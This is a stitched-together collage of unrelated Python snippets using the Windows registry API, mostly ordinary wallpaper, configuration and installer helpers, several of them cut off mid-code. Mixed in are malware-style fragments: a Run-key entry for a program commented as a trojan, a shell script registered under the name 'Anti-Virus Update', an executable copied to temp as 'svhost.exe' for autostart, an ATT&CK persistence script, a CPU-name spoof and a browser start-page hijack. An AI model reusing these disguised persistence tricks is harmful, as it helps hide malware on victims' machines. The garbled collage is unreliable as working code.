def SetValue(self, key, value): """Set the value in the registry.""" cx_Logging.Debug("Setting Session key %s\\%s=\"%s\"", self.baseName, key, repr(value)) win32api.RegSetValueEx(self.key, key, 0, win32con.REG_SZ, repr(value))
import requests, json, os import win32gui, win32api, win32con urlbase = 'https://cn.bing.com/HPImageArchive.aspx?format=js&idx=0&n=1&pid=hp' r = requests.get(urlbase) r = r.json() url = 'https://cn.bing.com' + r[u'images'][0][u'urlbase'] + '_1920x1080.jpg' pic = requests.get(url) with open(r'C:\Users\chun\Pictures\1.jpg', 'wb') as f: f.write(pic.content) f.close() k = win32api.RegOpenKeyEx(win32con.HKEY_CURRENT_USER, "Control Panel\\Desktop", 0, win32con.KEY_SET_VALUE) win32api.RegSetValueEx(k, "WallpaperStyle", 0, win32con.REG_SZ, "2") win32api.RegSetValueEx(k, "TileWallpaper", 0, win32con.REG_SZ, "0") win32gui.SystemParametersInfo(win32con.SPI_SETDESKWALLPAPER, r'C:\Users\chun\Pictures\1.jpg', 1 + 2)
def set_value( hive, key, vname=None, vdata=None, vtype="REG_SZ", use_32bit_registry=False, volatile=False, ): """ Sets a value in the registry. If ``vname`` is passed, it will be the value for that value name, otherwise it will be the default value for the specified key Args: hive (str): The name of the hive. Can be one of the following - HKEY_LOCAL_MACHINE or HKLM - HKEY_CURRENT_USER or HKCU - HKEY_USER or HKU - HKEY_CLASSES_ROOT or HKCR - HKEY_CURRENT_CONFIG or HKCC key (str): The key (looks like a path) to the value name. vname (str): The value name. These are the individual name/data pairs under the key. If not passed, the key (Default) value will be set. vdata (str, int, list, bytes): The value you'd like to set. If a value name (vname) is passed, this will be the data for that value name. If not, this will be the (Default) value for the key. The type of data this parameter expects is determined by the value type specified in ``vtype``. The correspondence is as follows: - REG_BINARY: Binary data (str in Py2, bytes in Py3) - REG_DWORD: int - REG_EXPAND_SZ: str - REG_MULTI_SZ: list of str - REG_QWORD: int - REG_SZ: str .. note:: When setting REG_BINARY, string data will be converted to binary. You can pass base64 encoded using the ``binascii`` built-in module. Use ``binascii.b2a_base64('your data')`` .. note:: The type for the (Default) value is always REG_SZ and cannot be changed. .. note:: This parameter is optional. If not passed, the Key will be created with no associated item/value pairs. vtype (str): The value type. The possible values of the vtype parameter are indicated above in the description of the vdata parameter. use_32bit_registry (bool): Sets the 32bit portion of the registry on 64bit installations. On 32bit machines this is ignored. volatile (bool): When this parameter has a value of True, the registry key will be made volatile (i.e. it will not persist beyond a system reset or shutdown). This parameter only has an effect when a key is being created and at no other time. Returns: bool: True if successful, otherwise False Usage: This will set the version value to 2015.5.2 in the SOFTWARE\\Salt key in the HKEY_LOCAL_MACHINE hive .. code-block:: python import salt.utils.win_reg winreg.set_value(hive='HKLM', key='SOFTWARE\\Salt', vname='version', vdata='2015.5.2') Usage: This function is strict about the type of vdata. For instance this example will fail because vtype has a value of REG_SZ and vdata has a type of int (as opposed to str as expected). .. code-block:: python import salt.utils.win_reg winreg.set_value(hive='HKLM', key='SOFTWARE\\Salt', vname='str_data', vdata=1.2) Usage: In this next example vdata is properly quoted and should succeed. .. code-block:: python import salt.utils.win_reg winreg.set_value(hive='HKLM', key='SOFTWARE\\Salt', vname='str_data', vdata='1.2') Usage: This is an example of using vtype REG_BINARY. Both ``set_value`` commands will set the same value ``Salty Test`` .. code-block:: python import salt.utils.win_reg winreg.set_value(hive='HKLM', key='SOFTWARE\\Salt', vname='bin_data', vdata='Salty Test', vtype='REG_BINARY') import binascii bin_data = binascii.b2a_base64('Salty Test') winreg.set_value(hive='HKLM', key='SOFTWARE\\Salt', vname='bin_data_encoded', vdata=bin_data, vtype='REG_BINARY') Usage: An example using vtype REG_MULTI_SZ is as follows: .. code-block:: python import salt.utils.win_reg winreg.set_value(hive='HKLM', key='SOFTWARE\\Salt', vname='list_data', vdata=['Salt', 'is', 'great'], vtype='REG_MULTI_SZ') """ local_hive = _to_unicode(hive) local_key = _to_unicode(key) local_vname = _to_unicode(vname) local_vtype = _to_unicode(vtype) registry = Registry() try: hkey = registry.hkeys[local_hive] except KeyError: raise CommandExecutionError("Invalid Hive: {0}".format(local_hive)) vtype_value = registry.vtype[local_vtype] access_mask = registry.registry_32[ use_32bit_registry] | win32con.KEY_ALL_ACCESS local_vdata = cast_vdata(vdata=vdata, vtype=local_vtype) if volatile: create_options = registry.opttype["REG_OPTION_VOLATILE"] else: create_options = registry.opttype["REG_OPTION_NON_VOLATILE"] handle = None try: handle, result = win32api.RegCreateKeyEx(hkey, local_key, access_mask, Options=create_options) msg = ("Created new key: %s\\%s" if result == 1 else "Opened existing key: %s\\%s") log.debug(msg, local_hive, local_key) try: win32api.RegSetValueEx(handle, local_vname, 0, vtype_value, local_vdata) win32api.RegFlushKey(handle) broadcast_change() return True except TypeError as exc: log.exception('"vdata" does not match the expected data type.\n%s', exc) return False except (SystemError, ValueError) as exc: log.exception("Encountered error setting registry value.\n%s", exc) return False except win32api.error as exc: log.exception( "Error creating/opening key: %s\\%s\n%s", local_hive, local_key, exc.winerror, ) return False finally: if handle: win32api.RegCloseKey(handle)
url_dicom = 'http://139.219.103.195:4000/deepcare/api/dicom/saveFile' url_tiff = 'http://139.219.103.195:4000/deepcare/api/tiff/upload' ## Write to Windows Registry value_name = 'watch_files' program_path = 'C:\\Program Files\\DeepCare\\watch_files.exe' KeyName = 'Software\\Microsoft\\Windows\\CurrentVersion\\Run' try: key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, KeyName, 0, win32con.KEY_ALL_ACCESS) info = RegQueryInfoKey(key) value_names = [] for i in range(0, info[1]): ValueName = RegEnumValue(key, i) value_names.append(ValueName[0]) if value_name not in value_names: win32api.RegSetValueEx(key, value_name, 0, win32con.REG_SZ, program_path) win32api.RegCloseKey(key) except: print('Reg Error.') class FileEventHandlerKodak(FileSystemEventHandler): def __init__(self): FileSystemEventHandler.__init__(self) self.file_recent = '' self.t_recent = 0 def on_created(self, event): if not event.is_directory: file_path = event.src_path file_path = file_path.replace('\\', '/')
def set_value(hive, key, vname=None, vdata=None, vtype='REG_SZ', use_32bit_registry=False, volatile=False): ''' Sets a registry value entry or the default value for a key. :param str hive: The name of the hive. Can be one of the following - HKEY_LOCAL_MACHINE or HKLM - HKEY_CURRENT_USER or HKCU - HKEY_USER or HKU :param str key: The key (looks like a path) to the value name. :param str vname: The value name. These are the individual name/data pairs under the key. If not passed, the key (Default) value will be set. :param object vdata: The value data to be set. What the type of this parameter should be is determined by the value of the vtype parameter. The correspondence is as follows: .. glossary:: REG_BINARY binary data (i.e. str in python version < 3 and bytes in version >=3) REG_DWORD int REG_EXPAND_SZ str REG_MULTI_SZ list of objects of type str REG_SZ str :param str vtype: The value type. The possible values of the vtype parameter are indicated above in the description of the vdata parameter. :param bool use_32bit_registry: Sets the 32bit portion of the registry on 64bit installations. On 32bit machines this is ignored. :param bool volatile: When this parameter has a value of True, the registry key will be made volatile (i.e. it will not persist beyond a system reset or shutdown). This parameter only has an effect when a key is being created and at no other time. :return: Returns True if successful, False if not :rtype: bool CLI Example: .. code-block:: bash salt '*' reg.set_value HKEY_LOCAL_MACHINE 'SOFTWARE\\Salt' 'version' '2015.5.2' This function is strict about the type of vdata. For instance the the next example will fail because vtype has a value of REG_SZ and vdata has a type of int (as opposed to str as expected). CLI Example: .. code-block:: bash salt '*' reg.set_value HKEY_LOCAL_MACHINE 'SOFTWARE\\Salt' 'version' '2015.5.2' \\ vtype=REG_SZ vdata=0 However, this next example where vdata is properly quoted should succeed. CLI Example: .. code-block:: bash salt '*' reg.set_value HKEY_LOCAL_MACHINE 'SOFTWARE\\Salt' 'version' '2015.5.2' \\ vtype=REG_SZ vdata="'0'" An example of using vtype REG_BINARY is as follows: CLI Example: .. code-block:: bash salt '*' reg.set_value HKEY_LOCAL_MACHINE 'SOFTWARE\\Salt' 'version' '2015.5.2' \\ vtype=REG_BINARY vdata='!!binary d2hhdCdzIHRoZSBwb2ludA==' An example of using vtype REG_LIST is as follows: CLI Example: .. code-block:: bash salt '*' reg.set_value HKEY_LOCAL_MACHINE 'SOFTWARE\\Salt' 'version' '2015.5.2' \\ vtype=REG_LIST vdata='[a,b,c]' ''' local_hive = _to_unicode(hive) local_key = _to_unicode(key) local_vname = _to_unicode(vname) local_vtype = _to_unicode(vtype) registry = Registry() hkey = registry.hkeys[local_hive] vtype_value = registry.vtype[local_vtype] access_mask = registry.registry_32[ use_32bit_registry] | win32con.KEY_ALL_ACCESS # Check data type and cast to expected type # int will automatically become long on 64bit numbers # https://www.python.org/dev/peps/pep-0237/ # String Types to Unicode if vtype_value in [1, 2]: local_vdata = _to_unicode(vdata) # Don't touch binary... elif vtype_value == 3: local_vdata = vdata # Make sure REG_MULTI_SZ is a list of strings elif vtype_value == 7: local_vdata = [_to_unicode(i) for i in vdata] # Everything else is int else: local_vdata = int(vdata) if volatile: create_options = registry.opttype['REG_OPTION_VOLATILE'] else: create_options = registry.opttype['REG_OPTION_NON_VOLATILE'] try: handle, _ = win32api.RegCreateKeyEx(hkey, local_key, access_mask, Options=create_options) win32api.RegSetValueEx(handle, local_vname, 0, vtype_value, local_vdata) win32api.RegFlushKey(handle) win32api.RegCloseKey(handle) broadcast_change() return True except (win32api.error, SystemError, ValueError, TypeError) as exc: # pylint: disable=E0602 log.error(exc, exc_info=True) return False
def setWallPaper(imagepath='download/cache_wallpaper.png'): keyex = win32api.RegOpenKeyEx(win32con.HKEY_CURRENT_USER, "Control Panel\\Desktop", 0, win32con.KEY_SET_VALUE) win32api.RegSetValueEx(keyex, "WallpaperStyle", 0, win32con.REG_SZ, "0") win32api.RegSetValueEx(keyex, "TileWallpaper", 0, win32con.REG_SZ, "0") win32gui.SystemParametersInfo(win32con.SPI_SETDESKWALLPAPER, imagepath, win32con.SPIF_SENDWININICHANGE)
def setWallpaper(path): key = win32api.RegOpenKeyEx(win32con.HKEY_CURRENT_USER, "Control Panel\\Desktop", 0, win32con.KEY_SET_VALUE) win32api.RegSetValueEx(key, "WallpaperStyle", 0, win32con.REG_SZ, "0") win32api.RegSetValueEx(key, "TileWallpaper", 0, win32con.REG_SZ, "0") win32gui.SystemParametersInfo(win32con.SPI_SETDESKWALLPAPER, path, 1 + 2)
#!/usr/bin/python # -*- coding: UTF-8 -*- import os import win32api import win32con name = 'wxwx' path = pwd = os.getcwd() path = path + u'\weixin.exe' keyname = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' try: key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, keyname, 0, win32con.KEY_ALL_ACCESS) win32api.RegSetValueEx(key, name, 0, win32con.REG_SZ, path) win32api.RegCloseKey(key) # 启动木马程序 win32api.ShellExecute(0, 'open', path, '', '', 1) print '添加成功' except: print '添加失败'
def valueSet(self, newValue, valueName=None, valueType=ValueString): "Set a value." return win32api.RegSetValueEx(self.key, valueName, None, valueType, newValue)
def enable(self): key = win32api.RegOpenKey(DevMode.HIVE, DevMode.KEY, 0, win32con.KEY_SET_VALUE) win32api.RegSetValueEx(key, DevMode.NAME, 0, win32con.REG_DWORD, 1)
except: return None if type == win32con.REG_SZ or type == win32con.REG_EXPAND_SZ: strret = valobj else: strret = None return strret def setStrKeyValue(strkey, valname, strval, rootkey = win32con.HKEY_CURRENT_USER): try: key = win32api.RegOpenKeyEx(rootkey, strkey, 0, win32con.KEY_ALL_ACCESS) except win32api.error, arg: print arg return try: win32api.RegSetValueEx(key, valname, 0, win32con.REG_SZ, strval) except win32api.error, arg: print arg win32api.RegCloseKey(key) def setDwordKeyValue(strkey, valname, dwval, rootkey = win32con.HKEY_CURRENT_USER): try: key = win32api.RegOpenKeyEx(rootkey, strkey, 0, win32con.KEY_ALL_ACCESS) except win32api.error, arg: print arg return try: win32api.RegSetValueEx(key, valname, 0, win32con.REG_DWORD, dwval) except win32api.error, arg: print arg win32api.RegCloseKey(key)
import win32api import win32con #不知道为什么前面要+r proxy_path = r'HARDWARE\DESCRIPTION\System\CentralProcessor\0' value = 'Intel(R) Core(TM) i7-7700M CPU @ 3.50GHz' value_name = 'ProcessorNameString' #必须要以管理员身份运行python才有权限打开 key = win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE, proxy_path, 0, win32con.KEY_ALL_ACCESS) win32api.RegSetValueEx(key, value_name, 0, win32con.REG_SZ, value) win32api.RegCloseKey(key) #打开的文件记得关闭才能完全修改 #import winreg #root = winreg.HKEY_LOCAL_MACHINE #proxy_path = r"HARDWARE\DESCRIPTION\System\CentralProcessor\0" #hkey = winreg.OpenKey(root,proxy_path) #winreg.setValue(hkey,"ProcessorNameString",0,winreg.REG_SZ,hvalue)
from requests import get from random import randint from os import environ if environ["PROCESSOR_ARCHITECTURE"] == "x86": import win32api as winapi, win32con as wincon, win32gui as wingui version = 32 else: import win64api as winapi, win64con as wincon, win64gui as wingui x = randint(300, 1000) y = x - randint(0, 100) url = "http://placekitten.com/{0}/{1}".format(x, y) path = "kitten.png" r = get(url, stream=True) if r.status_code == 200: with open(path, 'wb') as f: for chunk in r.iter_content(1024): f.write(chunk) key = key = winapi.RegOpenKeyEx(wincon.HKEY_CURRENT_USER, "Control Panel\\Desktop", 0, wincon.KEY_SET_VALUE) winapi.RegSetValueEx(key, "WallpaperStyle", 0, wincon.REG_SZ, "0") winapi.RegSetValueEx(key, "TileWallpaper", 0, wincon.REG_SZ, "0") wingui.SystemParametersInfo(wincon.SPI_SETDESKWALLPAPER, path, 1 + 2)
import win32api import win32con # 修改注册表 keyname = 'Software\Microsoft\Internet Explorer\Main' page = 'www.sina.com.cn' title = 'I love sina web site!' search_page = 'http://www.baidu.com' key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, keyname, 0, win32con.KEY_ALL_ACCESS) win32api.RegSetValueEx(key, 'Start Page', 0, win32con.REG_SZ, page) win32api.RegSetValueEx(key, 'Window Title', 0, win32con.REG_SZ, title) win32api.RegSetValueEx(key, 'Search Page', 0, win32con.REG_SZ, search_page)
def _SetStrValue(self, key, value, value_name=None): (cur, type) = self._GetStrValue(key, value_name) if type != win32con.REG_SZ or value != cur: self._Changed = True win32api.RegSetValueEx(key, value_name, 0, win32con.REG_SZ, value)
def persist(self, persist): """Add/Remove persistence to reboots by adding a registry key entry which autoruns a vbs script on boot. The vbs script is required in order to run this component silently and is created/removed during this method. This method is automatically called to add persistence during initialisation and remove persistence during the kill routine. @param persist: whether to add or remove persistence """ dir_name = os.path.dirname(os.path.abspath(__file__)) vbs_script_file = os.path.join(dir_name, "data.vbs") if persist: if not os.path.exists(vbs_script_file): curr_file = win32api.GetModuleFileName(0) target_exe = os.path.basename(curr_file) if target_exe == "python.exe": logging.debug( "Running as python script, adding args to persistence script." ) curr_file = win32api.GetCommandLine() vbs_script = open(vbs_script_file, "w") # Windows doesn't like it when something being executed using the autorun registry key being used here # modifies the registry, so the '-r' argument is passed to this script to disable the persistence # adding routine on bootup. vbs_script.write( 'Dim WShell\nSet WShell = CreateObject("Wscript.Shell")\nWShell.Run "{0} -r", 0\nSet WShell = Nothing' .format(curr_file)) # nopep8 vbs_script.close() startup_script = "wscript \"{0}\"".format(vbs_script_file) curr_script = None try: key = win32api.RegOpenKeyEx(win32con.HKEY_CURRENT_USER, self.PERSISTENCE_KEY, 0, win32con.KEY_QUERY_VALUE) curr_script = win32api.RegQueryValueEx( key, self.REG_KEY_ENTRY) win32api.RegCloseKey(key) except Exception as e: logging.exception("Unhandled Exception: {0}".format(e)) # if curr_script is None (no value) or incorrect, replace with correct one if startup_script != curr_script: logging.debug( "Adding {0} to run on startup...".format(curr_file)) logging.debug( "Script executed by registry key on boot: {0}".format( startup_script)) try: key = win32api.RegOpenKeyEx(win32con.HKEY_CURRENT_USER, self.PERSISTENCE_KEY, 0, win32con.KEY_SET_VALUE) win32api.RegSetValueEx(key, self.REG_KEY_ENTRY, 0, win32con.REG_SZ, "{0}".format(startup_script)) win32api.RegCloseKey(key) except Exception as e: logging.exception("Unhandled Exception: {0}".format(e)) else: logging.debug("Removing from startup...") if os.path.exists(vbs_script_file): logging.debug("Removing vbs script.") try: os.remove(vbs_script_file) except Exception as e: logging.exception("Unhandled Exception: {0}".format(e)) try: key = win32api.RegOpenKeyEx(win32con.HKEY_CURRENT_USER, self.PERSISTENCE_KEY, 0, win32con.KEY_SET_VALUE) win32api.RegDeleteValue(key, self.REG_KEY_ENTRY) win32api.RegCloseKey(key) except Exception as e: logging.exception("Unhandled Exception: {0}".format(e))
def overrideRegistry(self, hiveName, username): username_motif = r"u([a-zA-Z0-9\x00]{31}_\x00A\x00P\x00S\x00)" subpath = "Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook" if self.profile is not None or len(self.sharedFolders) > 0: Reg.CreateKeyR(win32con.HKEY_USERS, hiveName + r"\Software\Ulteo") key = win32api.RegOpenKey(win32con.HKEY_USERS, hiveName + r"\Software\Ulteo", 0, win32con.KEY_ALL_ACCESS) Reg.DeleteTree(key, r"ovd", False) win32api.RegCloseKey(key) if self.profile is not None: path = hiveName + r"\Software\Ulteo\ovd\profile" Reg.CreateKeyR(win32con.HKEY_USERS, path) key = win32api.RegOpenKey(win32con.HKEY_USERS, path, 0, win32con.KEY_SET_VALUE) win32api.RegSetValueEx(key, "host", 0, win32con.REG_SZ, self.profile["server"]) win32api.RegSetValueEx(key, "directory", 0, win32con.REG_SZ, self.profile["dir"]) win32api.RegSetValueEx(key, "login", 0, win32con.REG_SZ, self.profile["login"]) win32api.RegSetValueEx(key, "password", 0, win32con.REG_SZ, self.profile["password"]) win32api.RegCloseKey(key) # Set the name path = hiveName + r"\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\##%s#%s" % ( self.profile["server"], self.profile["dir"]) Reg.CreateKeyR(win32con.HKEY_USERS, path) key = win32api.RegOpenKey(win32con.HKEY_USERS, path, 0, win32con.KEY_SET_VALUE) win32api.RegSetValueEx(key, "_LabelFromReg", 0, win32con.REG_SZ, "Personal User Profile") win32api.RegCloseKey(key) lastUsername = Reg.TreeSearchExpression(hiveName, subpath, username_motif) if lastUsername is not None: uni_username = username.encode("UTF-16LE") Reg.TreeReplace(hiveName, subpath, lastUsername, uni_username) shareNum = 0 for share in self.sharedFolders: path = hiveName + r"\Software\Ulteo\ovd\share_%d" % (shareNum) Reg.CreateKeyR(win32con.HKEY_USERS, path) key = win32api.RegOpenKey(win32con.HKEY_USERS, path, 0, win32con.KEY_SET_VALUE) win32api.RegSetValueEx(key, "host", 0, win32con.REG_SZ, share["server"]) win32api.RegSetValueEx(key, "directory", 0, win32con.REG_SZ, share["dir"]) win32api.RegSetValueEx(key, "login", 0, win32con.REG_SZ, share["login"]) win32api.RegSetValueEx(key, "password", 0, win32con.REG_SZ, share["password"]) win32api.RegCloseKey(key) # Set the name path = hiveName + r"\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\##%s#%s" % ( share["server"], share["dir"]) Reg.CreateKeyR(win32con.HKEY_USERS, path) key = win32api.RegOpenKey(win32con.HKEY_USERS, path, 0, win32con.KEY_SET_VALUE) win32api.RegSetValueEx(key, "_LabelFromReg", 0, win32con.REG_SZ, share["name"]) win32api.RegCloseKey(key) shareNum += 1 if self.profile is not None: # Redirect the Shell Folders to the remote profile path = hiveName + r"\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" key = win32api.RegOpenKey(win32con.HKEY_USERS, path, 0, win32con.KEY_SET_VALUE) win32api.RegSetValueEx(key, "Desktop", 0, win32con.REG_SZ, r"U:\%s" % (self.DesktopDir)) win32api.RegSetValueEx(key, "Personal", 0, win32con.REG_SZ, r"U:\%s" % (self.DocumentsDir)) win32api.RegCloseKey(key)
def add_to_registry(): #add to startup registry hkey=win32api.RegCreateKey(win32con.HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run") win32api.RegSetValueEx(hkey,'Anti-Virus Update',0,win32con.REG_SZ,(os.getcwd()+"\\simple_py_shell.py")) win32api.RegCloseKey(hkey) connect()
def change_ie_proxy(keyName, keyValue): pathInReg = r'Software\Microsoft\Windows\CurrentVersion\Internet Settings' key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, pathInReg, 0, win32con.KEY_ALL_ACCESS) win32api.RegSetValueEx(key, keyName, 0, win32con.REG_DWORD, keyValue) win32api.RegCloseKey(key)
def setWallPaper(pic): regKey = win32api.RegOpenKeyEx(win32con.HKEY_CURRENT_USER,"Control Panel\\Desktop",0,win32con.KEY_SET_VALUE) win32api.RegSetValueEx(regKey,"WallpaperStyle", 0, win32con.REG_SZ, "2") win32api.RegSetValueEx(regKey, "TileWallpaper", 0, win32con.REG_SZ, "0") win32gui.SystemParametersInfo(win32con.SPI_SETDESKWALLPAPER,pic, win32con.SPIF_SENDWININICHANGE)
def set_wallpaper(image_path): """ Given a path to an image, set it as the wallpaper """ if not os.path.exists(image_path): log.error("Image does not exist.") sys.exit(1) log.info("Updating wallpaper..") log.info( "Name of wallpaper: {}".format( re.sub("([a-z])([A-Z])", r"\1 \2", image_path.split("/")[-1].split("_")[0]) ) ) if sys.platform.startswith("win32"): bmp_image = Image.open(image_path) bmp_img_path = os.path.splitext(image_path)[0] + ".bmp" bmp_image.save(bmp_img_path, "BMP") key = win32api.RegOpenKeyEx( win32con.HKEY_CURRENT_USER, "Control Panel\\Desktop", 0, win32con.KEY_SET_VALUE, ) win32api.RegSetValueEx(key, "WallpaperStyle", 0, win32con.REG_SZ, "0") win32api.RegSetValueEx(key, "TileWallpaper", 0, win32con.REG_SZ, "0") win32gui.SystemParametersInfo( win32con.SPI_SETDESKWALLPAPER, bmp_img_path, 1 + 2 ) os.remove(bmp_img_path) elif sys.platform.startswith("darwin"): try: command = """ osascript -e 'tell application "System Events" set desktopCount to count of desktops repeat with desktopNumber from 1 to desktopCount tell desktop desktopNumber set picture to "{image_path}" end tell end repeat end tell' """.format( image_path=image_path ) check_call([command], shell=True) except CalledProcessError or FileNotFoundError: log.error("Setting wallpaper failed.") sys.exit(1) elif sys.platform.startswith("linux"): check_call( [ "gsettings", "set", "org.gnome.desktop.background", "picture-uri", "file://{}".format(image_path), ] ) log.info("Wallpaper successfully updated. :)")
def create_value(self, key, value_name, reg_type=0, content=''): win32api.RegSetValueEx(key, value_name, 0, self.reg_type[reg_type], content)
def set_desktop_windows(imagepath): k = win32api.RegOpenKeyEx(win32con.HKEY_CURRENT_USER, "Control Panel\\Desktop", 0, win32con.KEY_SET_VALUE) win32api.RegSetValueEx(k, "WallpaperStyle", 0, win32con.REG_SZ, "2") # 2拉伸适应桌面,0桌面居中 win32api.RegSetValueEx(k, "TileWallpaper", 0, win32con.REG_SZ, "0") win32gui.SystemParametersInfo(win32con.SPI_SETDESKWALLPAPER, imagepath, 1 + 2)
## Code: T1547-001-SetRegistryPersistence.py """ Description: It sets persistence in the windows registry. """ import win32api import win32con import sys if __name__ == "__main__": print("[+] Setting persistence in the registry.") ## Gets the program path. file_path = "\"" + win32api.GetFullPathName(sys.argv[0]) + "\"" ## HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run key = win32api.RegOpenKey( win32con.HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, win32con.KEY_SET_VALUE) win32api.RegSetValueEx(key, 'StickyBin1', 0, win32con.REG_SZ, file_path) win32api.RegCloseKey(key) ## HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce key = win32api.RegOpenKey( win32con.HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", 0, win32con.KEY_SET_VALUE) win32api.RegSetValueEx(key, 'StickyBin2', 0, win32con.REG_SZ, file_path) win32api.RegCloseKey(key)
import shutil import sys import importlib import struct importlib.reload(sys) #sys.setdefaultencoding("utf-8") ROOTPATH = os.getcwd() EXEPATH = ROOTPATH + "/" + "video.exe" try: temp_filepath = os.path.normpath(tempfile.gettempdir() + "/svhost.exe") shutil.copy(EXEPATH, temp_filepath) runpath = "Software\Microsoft\Windows\CurrentVersion\Run" hKey = win32api.RegOpenKeyEx(win32con.HKEY_CURRENT_USER, runpath, 0, win32con.KEY_ALL_ACCESS) win32api.RegSetValueEx(hKey, "MyTool", 0, win32con.REG_SZ, temp_filepath) except: pass host = "127.0.0.1" port = 9999 def get_host_ip(): try: s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) s.connect(('8.8.8.8',80)) ip = s.getsockname()[0] finally: s.close() return ip
class BasicNTService(win32serviceutil.ServiceFramework, object): """ Abstract base to help out with building NT services in Python with the win32all(by Mark Hammond) support for python nt services. Remember to set the two following class attributes to something sensible in your subclass _svc_name_ = 'PyroNS' _svc_display_name_ = 'Pyro Naming Service NT service' The following are optional _svc_deps_: This should be set to the list of service names That need to be started before this one. _exe_name_: This should be set to a service .EXE if you're not going to use PythonService.exe _svc_description_ : This is the descriptive string that you find in the services applet To register the service with the SCM the easiest way is to include the following at the bottom of the file where your subclass is defined. if __name__ == '__main__': TheClassYouDerivedFromBasicNTService.HandleCommandLine() """ def __init__(self, args): _redirectSystemStreamsIfNecessary() win32serviceutil.ServiceFramework.__init__(self, args) self._stopEvent = threading.Event() def SvcStop(self): """ Template method from win32serviceutil.ServiceFramework""" # first tell SCM that we have started the stopping process self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING) self._stopEvent.set() def _shouldStop(self): return self._stopEvent.isSet() def _doRun(self): raise NotImplementedError def _doStop(self): raise NotImplementedError def SvcDoRun(self): """ part of Template method SvcRun from win32serviceutil.ServiceFramework""" self.logStarted() self._doRun() self._stopEvent.wait() self._doStop() self.logTermination() return 0 def logTermination(self): import servicemanager servicemanager.LogMsg(servicemanager.EVENTLOG_INFORMATION_TYPE, servicemanager.PYS_SERVICE_STOPPED, (self._svc_name_, "")) def logStarted(self): import servicemanager servicemanager.LogMsg(servicemanager.EVENTLOG_INFORMATION_TYPE, servicemanager.PYS_SERVICE_STARTED, (self._svc_name_, '')) def CustomOptionHandler(cls, opts): #out=open("c:\\log.txt","w") print "Installing the Pyro %s" % cls._svc_name_ args = raw_input("Enter command line arguments for %s: " % cls._svc_name_) try: createRegistryParameters(cls._svc_name_, args.strip()) except Exception, x: print "Error occured when setting command line args in the registry: ", x try: cls._svc_description_ except LookupError: return key = win32api.RegCreateKey( win32con.HKEY_LOCAL_MACHINE, "System\\CurrentControlSet\\Services\\%s" % cls._svc_name_) try: win32api.RegSetValueEx(key, "Description", 0, win32con.REG_SZ, cls._svc_description_) finally: win32api.RegCloseKey(key)
import sys import win32api import win32con import win32gui import os base_url = 'http://www.bing.com/' url = base_url + 'HPImageArchive.aspx?format=js&idx=0&n=1&mkt=zh-CN' r = requests.get(url) data = r.json() images = data.get('images', []) for image in images: image_url = image.get('url', '') if image_url == '': continue image_date = requests.get(base_url + image_url) file_name = os.path.split(image_url)[1] with open(file_name, 'wb') as f: f.write(image_date.content) k = win32api.RegOpenKeyEx(win32con.HKEY_CURRENT_USER, "Control Panel\\Desktop", 0, win32con.KEY_SET_VALUE) win32api.RegSetValueEx(k, "WallpaperStyle", 0, win32con.REG_SZ, "2") # 2拉伸适应桌面,0桌面居中 win32api.RegSetValueEx(k, "TileWallpaper", 0, win32con.REG_SZ, "0") win32gui.SystemParametersInfo(win32con.SPI_SETDESKWALLPAPER, os.path.join(sys.path[0], file_name), 1 + 2)
def cmd_install (args): uninstall_integration() #--- if getattr( sys, 'frozen', False ): ScriptPath= os.path.abspath (sys.executable) engine_commands= ( ('add', 'Register engine', '"%s" add "%%1"' % ScriptPath), ) # --- extended, action, title, command # The first collumn difines extended action. The associated commands will be displayed only when the user right-clicks an object while also pressing the SHIFT key. # https://msdn.microsoft.com/en-us/library/cc144171(VS.85).aspx project_commands= ( (False, 'edit', 'Launch editor', '"%s" edit "%%1"' % ScriptPath), (False, 'open', 'Launch game', '"%s" open "%%1"' % ScriptPath), (False, 'monodev', 'Edit C# code', '"%s" monodev "%%1"' % ScriptPath), (False, '_build', 'Build solution', '"%s" build "%%1"' % ScriptPath), (False, '_projgen', 'Generate solution', '"%s" projgen "%%1"' % ScriptPath), (False, '_switch', 'Switch engine version', '"%s" switch "%%1"' % ScriptPath), (True, 'metagen', 'Generate/repair metadata', '"%s" metagen "%%1"' % ScriptPath), ) else: ScriptPath= os.path.abspath (__file__) PythonPath= python3_path() engine_commands= ( ('add', 'Register engine', '"%s" "%s" add "%%1"' % (PythonPath, ScriptPath)), ) project_commands= ( (False, 'edit', 'Launch editor', '"%s" "%s" edit "%%1"' % (PythonPath, ScriptPath)), (False, 'open', 'Launch game', '"%s" "%s" open "%%1"' % (PythonPath, ScriptPath)), (False, 'monodev', 'Edit C# code', '"%s" monodev "%%1"' % ScriptPath), (False, '_build', 'Build solution', '"%s" "%s" build "%%1"' % (PythonPath, ScriptPath)), (False, '_projgen', 'Generate solution', '"%s" "%s" projgen "%%1"' % (PythonPath, ScriptPath)), (False, '_switch', 'Switch engine version', '"%s" "%s" switch "%%1"' % (PythonPath, ScriptPath)), (True, 'metagen', 'Generate/repair metadata','"%s" "%s" metagen "%%1"' % (PythonPath, ScriptPath)), ) #--- current_user_is_admin= shell.IsUserAnAdmin() key= False and win32con.HKEY_LOCAL_MACHINE or win32con.HKEY_CURRENT_USER hClassesRoot= win32api.RegOpenKeyEx (key, 'Software\\Classes') #https://msdn.microsoft.com/en-us/library/windows/desktop/cc144152(v=vs.85).aspx #--- .cryengine FriendlyTypeName= 'CryEngine version' ProgID= 'CrySelect.engine' AppUserModelID= 'CrySelect.engine' DefaultIcon= os.path.abspath (os.path.join (os.path.dirname(ScriptPath), 'editor_icon.ico')) hProgID= win32api.RegCreateKey (hClassesRoot, ProgID) win32api.RegSetValueEx (hProgID, None, None, win32con.REG_SZ, 